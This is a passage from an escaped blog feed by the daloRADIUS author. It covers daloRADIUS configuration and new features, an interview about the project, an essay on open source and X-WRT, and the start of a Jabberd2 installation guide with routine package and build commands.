&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$configValues[&apos;CONFIG_DB_ENGINE&apos;] = ‘mysql’;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$configValues[&apos;CONFIG_DB_HOST&apos;] = ’127.0.0.1′;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$configValues[&apos;CONFIG_DB_USER&apos;] = ‘root’;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$configValues[&apos;CONFIG_DB_PASS&apos;] = ”;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$configValues[&apos;CONFIG_DB_NAME&apos;] = ‘radius’;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The configuration directives that are now available to configure more locations than the default (the default location is always available) are declared as:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$configValues[&apos;CONFIG_LOCATIONS&apos;] = array(  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    “Location Example 1″ =&gt; array(  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    “Engine” =&gt; “mysql”,  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    “Username” =&gt; “root”,  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    “Password” =&gt; “”,  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    “Database” =&gt; “radius”,  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    “Hostname” =&gt; “127.0.0.1″  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;“Location Example 2″ =&gt; array(  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    “Engine” =&gt; “mysql”,  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    “Username” =&gt; “db_usertest”,  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    “Password” =&gt; “db_passtest”,  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    “Database” =&gt; “test_db1″,  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    “Hostname” =&gt; “localhost”  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    )  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You of course don’t need to know the syntax for it as it is provided by default in the &lt;code&gt;daloradius.conf.php&lt;/code&gt; file. All that there is to it is simply to copy those “Location Example N” stanza and change the settings. As you probably have guessed, the format is variable in the left and the value in the right, so you just need to adjust the right text inside the double quotes to fit your setup.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140703093018im_/http://www.daloradius.com/images/screenshots/new_feature-locations.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>daloRADIUS new feature: backups</title><link>https://lirantal.com/blog/2008-08-08/</link><guid>https://lirantal.com/blog/2008-08-08/</guid><description>Building backups feature into daloRADIUS to allow backup/restore capability from the user interface.</description><pubDate>Fri, 08 Aug 2008 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;It’s been hanging around in SVN for almost 2 weeks now.&lt;/p&gt;
&lt;p&gt;I’ve had the backups feature in my head for quite a very long time, probably a number of months but I haven’t rushed to implement it because I wanted it to be completely useful for all kinds of databases and not just MySQL, even if it’s probably the most widely used for a FreeRADIUS development (at least seems like it from the feedback I get from users).&lt;/p&gt;
&lt;p&gt;And so, I’ve come to a conclusion that basing the backups only on the actual entries in the database is more portable and should be compatible with many database types as opposed to basing backups on the actual database, i.e – having the backup/restore to also include table structure, etc which requires different syntax with different databases.&lt;/p&gt;
&lt;p&gt;So the bottom line to remember is that when you create a backup, it creates a backup file with only the INSERT entries which means that when you need to restore the database from it you must actually CREATE the database itself (i.e:  &lt;code&gt;create database radius&lt;/code&gt; in MySQL console) and then also create each table according to the names you have originally back’ed up (i.e:  &lt;code&gt;create table&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Take a look at the screenshots below to see the new backup feature.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140703155826im_/http://www.daloradius.com/images/screenshots/new_feature-createbackups.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140703155826im_/http://www.daloradius.com/images/screenshots/new_feature-managebackups.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>daloRADIUS new feature: import vendors</title><link>https://lirantal.com/blog/2008-08-02/</link><guid>https://lirantal.com/blog/2008-08-02/</guid><description>Importing vendor data into daloRADIUS</description><pubDate>Sat, 02 Aug 2008 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Guess what? A new feature was added last week to current SVN trunk – you are now able to copy&amp;#x26;paste your vendor dictionary into a textarea input box, give the dictionary a name unless otherwise stated inside the dictionary file using the reserved keyword VENDOR and click the Apply button to add it to the database.&lt;/p&gt;</content:encoded></item><item><title>Interview with Liran Tal, author of daloRADIUS</title><link>https://lirantal.com/blog/2008-06-23_daloradius-interview-with-liran-tal/</link><guid>https://lirantal.com/blog/2008-06-23_daloradius-interview-with-liran-tal/</guid><description>daloRADIUS is a web application written in PHP with the purpose to manage a RADIUS (Remote Authentication Dial In User Service) deployment, suited for both WISPs (Wireless Internet Service Providers) and Hotspots.</description><pubDate>Mon, 23 Jun 2008 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Hello Liran. Thank you for answering our questions! First of all, you are the main developer of daloRADIUS… What is it in very simple terms?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;daloRADIUS is a web application written in PHP with the purpose to manage a RADIUS (Remote Authentication Dial In User Service) deployment, suited for both WISPs (Wireless Internet Service Providers) and Hotspots.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://freesoftwaremagazine.com/articles/interview_liran_tal_author_daloradius/daloradius_logo.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;daloRADIUS’ logo&lt;/p&gt;
&lt;p&gt;I am the lead developer but the truly great help from users is simply priceless. I doubt I would have had the strength to continue development as far as I have without the amazing support from my users.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;When did you start developing it?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Last year, a while before the first release I started working on several WISP projects. Prior to that I was dealing a lot with many components of the Access Cloud of an ISP: the l2tpns project for IPSec L2TP VPNs, SSL-Explorer for web VPNs, FreeRADIUS and some other software. I was quickly deploying setups here and there and started looking for a good way of managing users.&lt;/p&gt;
&lt;p&gt;I found dialupadmin — which comes bundled with FreeRADIUS — and later phpradadmin. I initially joined the latter project but found it wasn’t developing the way I thought it should have. The author was very rigid about the design ( something I can definitely relate to now! ), so I quit.&lt;/p&gt;
&lt;p&gt;I started developing daloRADIUS after that. Even though I had prior experience with other software projects on and off SourceForge, having something built from zero and growing with it along with the community is simply priceless. It’s like my baby!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How far do you feel the project’s gone since its beginning?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I feel that it has gone a very long way since it began (mid-2007). It is definitely more mature and stable for production deployment now. I even know of a couple of medium-large enterprises which deployed it and the positive and constructive feedback fuels my appetite for more development and professional features.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How much help did you receive from the community? Do you get a good number of patches? Or is it mainly bug reports?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Some users provide patches here and there, most of them have been pushed into SVN with no trouble (I’m a very open minded guy). I would say that most of the feedback from the community regarding development is based on bug reports and feature requests rather than actual development.&lt;/p&gt;
&lt;p&gt;I feel that I really need to credit a few guys who joined me right from the start with amazing support, in particular these are Giso Kegal, Carlos Cesario and Evgeniy Kozhuhovskiy who have adopted daloRADIUS from the very beginning and helped the development by adding language translation support (which is a remarkable effort) as well as other features and bug fixes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What are the competing projects? What are, in your opinion, their strengths and their weaknesses?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The competing projects are probably dialupadmin, phpmyprepaid and hotcakes.&lt;/p&gt;
&lt;p&gt;Dialupadmin is good on basic and straight-forward administration but it lacks innovative features and its development has been on hold for a couple of years.&lt;/p&gt;
&lt;p&gt;Phpmyprepaid is something that I haven’t used but I did see it here and there and its set of features is rather limited to only serve Hotspots. I would say that its upside is that it’s straight to the point—add/edit/delete users, configure billing plans, and that’s about it. Though this is just from what I have seen on users deployments and from my experience with their website documentation so I could be missing a couple of things.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://freesoftwaremagazine.com/articles/interview_liran_tal_author_daloradius/photo1.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Liran Tal with his partner Tal Daloya (no, it’s no coincidence that her name is very similar to the software’s name!)&lt;/p&gt;
&lt;p&gt;Hotcakes is a nice attempt at achieving more complete management: it doesn’t just add/delete users but rather supports dictionaries, and more freeradius related settings like realms, proxies, NAs, etc… The good side is that it also managed to get a good billing platform integrated in the software; however, I think the down side is that it’s built on-top of another PHP framework which complicates things like installation and dependencies.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;In a nutshell, what are daloRADIUS’ advantages in your opinion?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;daloRADIUS was definitely a pioneer. I have seen several projects grow up from daloRADIUS and others keeping up the pace by “borrowing” ideas from daloRADIUS. I believe daloRADIUS is strong because it is based on a solid foundation of management platform and, on top of that, it provides the extra features that give it the spin such as Accounting, Reports, Graphs, a built-in Hotspot management integrated with GoogleMaps for GIS and general Maintenance.&lt;/p&gt;
&lt;p&gt;Another benefit is that daloRADIUS is solidly based on PHP and the PHP-DB package; unlike other projects, it doesn’t require any framework to be installed (like cakephp or others). The interface itself is very professional, mostly based on a single CSS file which makes it ideal for commercial and non-commercial parties to adopt it and deploy it almost immediately.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://freesoftwaremagazine.com/articles/interview_liran_tal_author_daloradius/screenshot.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Adding attributes to a new group profile&lt;/p&gt;
&lt;p&gt;The best part of daloRADIUS in my opinion is the great community of users and the open mind that I keep regarding user feedback. I answer emails almost immediately (within a couple of hours) and I think that I can honestly say that 95% of the requests for features and changes that I received from users have gone into the official release.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What about daloRADIUS’ billing support?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;daloRADIUS’ billing support is a little basic. Other projects have immediately provided support for billing; in my case, I added an initial support for it and quickly realized it would be best to focus on the management side and go back to billing later.&lt;/p&gt;
&lt;p&gt;At one point I began to wonder if it would be best to take out the billing part altogether and work out an integration with a 3rd party application, such as CitrusDB. I exchanged a few emails with CitrusDB’s maintainers but it didn’t lead to anything constructive; hopefully in the near future, I will be able to devote more development time for better billing support in daloRADIUS.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Have you been able to monetarise on this project?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I haven’t received any donations yet; this is unfortunate, as it would be a nice token of appreciation. I did receive numerous proposals for contract work to integrate daloRADIUS within Hotspots systems or even design the network and provide deployment of the entire installation base (freeradius, mysql, daloradius, chilli/other vendors, etc). I often had to refuse work contracts because the amount of work meant it would have seriously affected the main development of daloRADIUS. I’m very happy with the success that the project integration has showed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do you think free software users can expect it to be maintained in the longer term?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Definitely. I have never said no to a user who has requested a feature unless I thought it was more a customization request that only fit that particular user. On the contrary, I’m always on the look-out for improving the software and code-base and keeping up with users requirements. I truly believe that free software is an amazing thing and I will always keep daloRADIUS this way, at least for the core of it; commercial forks are a good thing for companies who require more customized work and a company to be behind the product to offer on-demand support (as opposed to community response via forums, mailing list, IRC, etc.).&lt;/p&gt;
&lt;hr&gt;
&lt;ul&gt;
&lt;li&gt;BY  &lt;a href=&quot;http://freesoftwaremagazine.com/authors/Tony%20Mobily&quot;&gt;TONY MOBILY&lt;/a&gt;  IN  &lt;a href=&quot;http://freesoftwaremagazine.com/sections/interviews&quot;&gt;INTERVIEWS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;6/23/2008&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://fsmsh.com/2910&quot;&gt;PERMALINK&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;TAGS:  &lt;a href=&quot;http://freesoftwaremagazine.com/tags/interview&quot;&gt;INTERVIEW&lt;/a&gt;  &lt;a href=&quot;http://freesoftwaremagazine.com/tags/radius&quot;&gt;RADIUS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;License
Verbatim copying and distribution of this entire article are permitted worldwide, without royalty, in any medium, provided this notice is preserved.&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded></item><item><title>Development in Open Source</title><link>https://lirantal.com/blog/2008-04-23_development_in_open_source_interview/</link><guid>https://lirantal.com/blog/2008-04-23_development_in_open_source_interview/</guid><description>Open Source projects have gained in the past few years an entirely different reputation in the public&apos;s eye, in a good sense.</description><pubDate>Wed, 23 Apr 2008 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Open Source projects have gained in the past few years an entirely different reputation in the public’s eye, in a good sense.&lt;/p&gt;
&lt;p&gt;Now-days we are seeing things happening in the Open Source arena, beautiful things, that most of us didn’t expect to take place so fast and so intense. Among these, are the huge amount of endorsement in terms of project sponsorship coming from Fortune 500 companies as well as funds that keep pouring on either existing Open Source projects to support them or even more intensively the acquisition of these projects that later become commercial companies with Free Software concept roots.&lt;/p&gt;
&lt;p&gt;The adaptation and awareness of Open Source software by the general public keeps growing rapidly. Government offices and major firms are taking active roles and exhibit participation in forums, mailing-lists, patches submission and code contribution, not to mention the attendance of these firms in seminars, exhibitions and conferences all around the world just to be kept in-the-loop and updated with all the new technologies that has surfaced out. It is all happening for a reason - the benefit of the widely accepted development methodology of sharing knowledge through collaboration is simply priceless, and it seems that everyone realize it sooner or later.&lt;/p&gt;
&lt;p&gt;The effect of all the buzz around GNU/Linux and Open Source drives one of the most basic needs in each of us, as a human-being. That is, to be a part of a whole. We long to be a part of a community, of a bigger good and as a consequence we are witnessing more and more involvement in projects of all kinds of development, whether it’s language translations, code contributions and documentation writing. Each involvement, as small contribution as it may be is causing a butter-fly effect that triggers others to contribute and participate in this beautiful, open world of technology and knowledge sharing.&lt;/p&gt;
&lt;p&gt;X-WRT is such a project that is reflecting all of the above concepts that we discussed. Some may be familiar with the OpenWRT project which aims to provide an alternative firmware to the one that is shipped with (wifi) routers, like the popular Linksys WRT-54G model and others. The X-WRT project was born in order to bring a more powerful and professional web interface to the OpenWRT firmware, and indeed the project proved a great success. In short time, it received an enormous feedback from users who wanted more features to be presented as well as users who wanted to get involved in the development of X-WRT.&lt;/p&gt;
&lt;p&gt;X-WRT is taking all the goods of Open Source and Free Software concepts and put them to show. The participation is widely welcome and all that is needed to join as a developer is a registered &lt;code&gt;berlios&lt;/code&gt; account and an email to the project admin (`thepeople). Approximately 6 hours later you are given access to the svn repository and you may start with active development on both branches of the project. There are no committees to question your skills or examine your CV background. Everyone are treated equal and given equal voice to be heard. I’m an active developer of X-WRT and I enjoy every bit of involvement. The team is sharpened-skilled, open minded and most of all, good people.&lt;/p&gt;
&lt;p&gt;To summarize, projects of Open Source nature will continue to revolutionize the technology industry and take us further into new grounds of socialism with recognition that knowledge sharing produces good things. If most of these projects will take the form of X-WRT’s great qualities then the future looks like a good place to be a developer.&lt;/p&gt;
&lt;p&gt;Liran Tal, X-WRT Developer.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;As &lt;a href=&quot;http://fsmsh.com/2846&quot;&gt;posted on FreeSoftware Magazine&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;BY  &lt;a href=&quot;http://freesoftwaremagazine.com/authors/liran&quot;&gt;LIRAN&lt;/a&gt;  IN  &lt;a href=&quot;http://freesoftwaremagazine.com/sections/hacking&quot;&gt;HACKING&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;4/23/2008&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://fsmsh.com/2846&quot;&gt;PERMALINK&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;TAGS:  &lt;a href=&quot;http://freesoftwaremagazine.com/tags/development-open-source-xwrt-openwrt-linksys-wrt54g&quot;&gt;DEVELOPMENT-OPEN-SOURCE-XWRT-OPENWRT-LINKSYS-WRT54G&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;License
Verbatim copying and distribution of this entire article are permitted worldwide, without royalty, in any medium, provided this notice is preserved.&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded></item><item><title>Rene Descartes and Computer Science</title><link>https://lirantal.com/blog/2007-11-12/</link><guid>https://lirantal.com/blog/2007-11-12/</guid><description>where do you think the idea of using variables in computer science came from?</description><pubDate>Mon, 12 Nov 2007 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We use variables to represent unknown values in mathematical problems every day. Descartes, who lived during the 16th – 17th century came up with the idea to use the lower letters of the English alphabet as variables in equations (such as &lt;code&gt;x, y, z&lt;/code&gt;) and the upper letters of the alphabet as constants (&lt;code&gt;a, b, c&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Reference: &lt;a href=&quot;http://en.wikipedia.org/wiki/Ren%C3%A9_Descartes&quot;&gt;http://en.wikipedia.org/wiki/Ren%C3%A9_Descartes&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Jabberd2 Deployment</title><link>https://lirantal.com/blog/2007-10-27/</link><guid>https://lirantal.com/blog/2007-10-27/</guid><description>Conferencing room for your Asterisk PBX</description><pubDate>Thu, 18 Oct 2007 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Jabberd2 deployment.&lt;/p&gt;
&lt;p&gt;Quick introduction – &lt;code&gt;jabber&lt;/code&gt; or rather &lt;code&gt;XMPP&lt;/code&gt; is a protocol or set of protocols
which define a transport layer for messages and media streams. Similar to &lt;code&gt;SIP&lt;/code&gt;,
it is a sort of signaling medium on which messages can be exchanged.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Jabberd2&lt;/code&gt; is the successor of &lt;code&gt;jabberd1&lt;/code&gt; and can be found at &lt;a href=&quot;http://jabberd2.xiaoka.com/&quot;&gt;http://jabberd2.xiaoka.com/&lt;/a&gt;
In general, it is possible to think of the &lt;code&gt;jabberd&lt;/code&gt; concept as an implementation of a
collaboration framework, much like an enhanced IRC implementation.&lt;/p&gt;
&lt;p&gt;We will deploy it to provide Instant Messaging and Conferencing between users.&lt;/p&gt;
&lt;h2 id=&quot;installation-dependencies&quot;&gt;Installation, dependencies&lt;/h2&gt;
&lt;p&gt;First off, meet the package requirements and install:
OpenSSL support&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;libssl-dev (&gt;= 0.9.6b)&lt;/li&gt;
&lt;li&gt;libssl0.9.8&lt;/li&gt;
&lt;li&gt;openssl&lt;/li&gt;
&lt;/ul&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;apt-get install libssl-dev libssl0.9.8 openssl&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Libidn support&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;libidn11&lt;/li&gt;
&lt;li&gt;libidn11-dev&lt;/li&gt;
&lt;/ul&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;apt-get install libidn11 libidn11-dev&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expat&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;libexpat1&lt;/li&gt;
&lt;li&gt;libexpat1-dev&lt;/li&gt;
&lt;/ul&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;apt-get install libexpat1 libexpat1-dev&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;roommaker.pl&lt;/code&gt; script:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;libxml-simple-perl&lt;/li&gt;
&lt;li&gt;libdigest-sha1-perl&lt;/li&gt;
&lt;/ul&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;apt-get install libxml-simple-perl libdigest-sha1-perl&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you don’t have MySQL installed already then also:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;apt-get install mysql-server-5.0 libmysqlclient15-dev libmysqlclient15off&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Another important requirement is that you have resolvable domain names which will resolve
to the IP address of the &lt;code&gt;jabberd&lt;/code&gt; server. If you plan on also deploying the conference plugin
to allow chat rooms then you will need 2 domain names.&lt;/p&gt;
&lt;p&gt;We will assume through-out the document that the domain names are:
im.example.com and conf.example.com&lt;/p&gt;
&lt;h2 id=&quot;installation-deployment&quot;&gt;Installation, deployment&lt;/h2&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;tar -xvf jabberd-2.1.17.tar.bz2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;cd jabberd-2.1.17&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;./configure –enable-mysql –enable-ssl –enable-idn –with-extra-include-path=/usr/local/lib/:/usr/lib/ssl/ –with-extra-library-path=/usr/lib&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If at this point you receive errors from configure it means you probably didn’t meet at least one
of the dependencies or you have it installed elsewhere, if which that is the case then tweak the include
or library configure options accordingly.
To continue:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;make&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;make install&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;chown -R root:jabber /usr/local/etc/jabberd*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;chmod -R 640 /usr/local/etc/jabberd*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;mkdir -p /usr/local/var/jabberd/pid&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;mkdir -p /usr/local/var/jabberd/log&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;mkdir -p /usr/local/var/jabberd/spool/rooms&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then change to the /usr/local/etc directory and perform changes as following to the
configuration xml files that are present there:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;c2s.xml:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;im.example.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;register-enable=&apos;true&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;pemfile=&apos;/usr/local/etc/server.pem&apos;&gt;im.example.com&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Make the tag changes in the c2s.xml file as shown above.&lt;/li&gt;
&lt;li&gt;To the end of the file there’s the mysql module configuration, you
can leave it as it is with the default jabberd2/secret user/pass account
or change it (but you will also have to remember to make those changes later
when we create that user in mysql)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;sm.xml:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;im.example.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
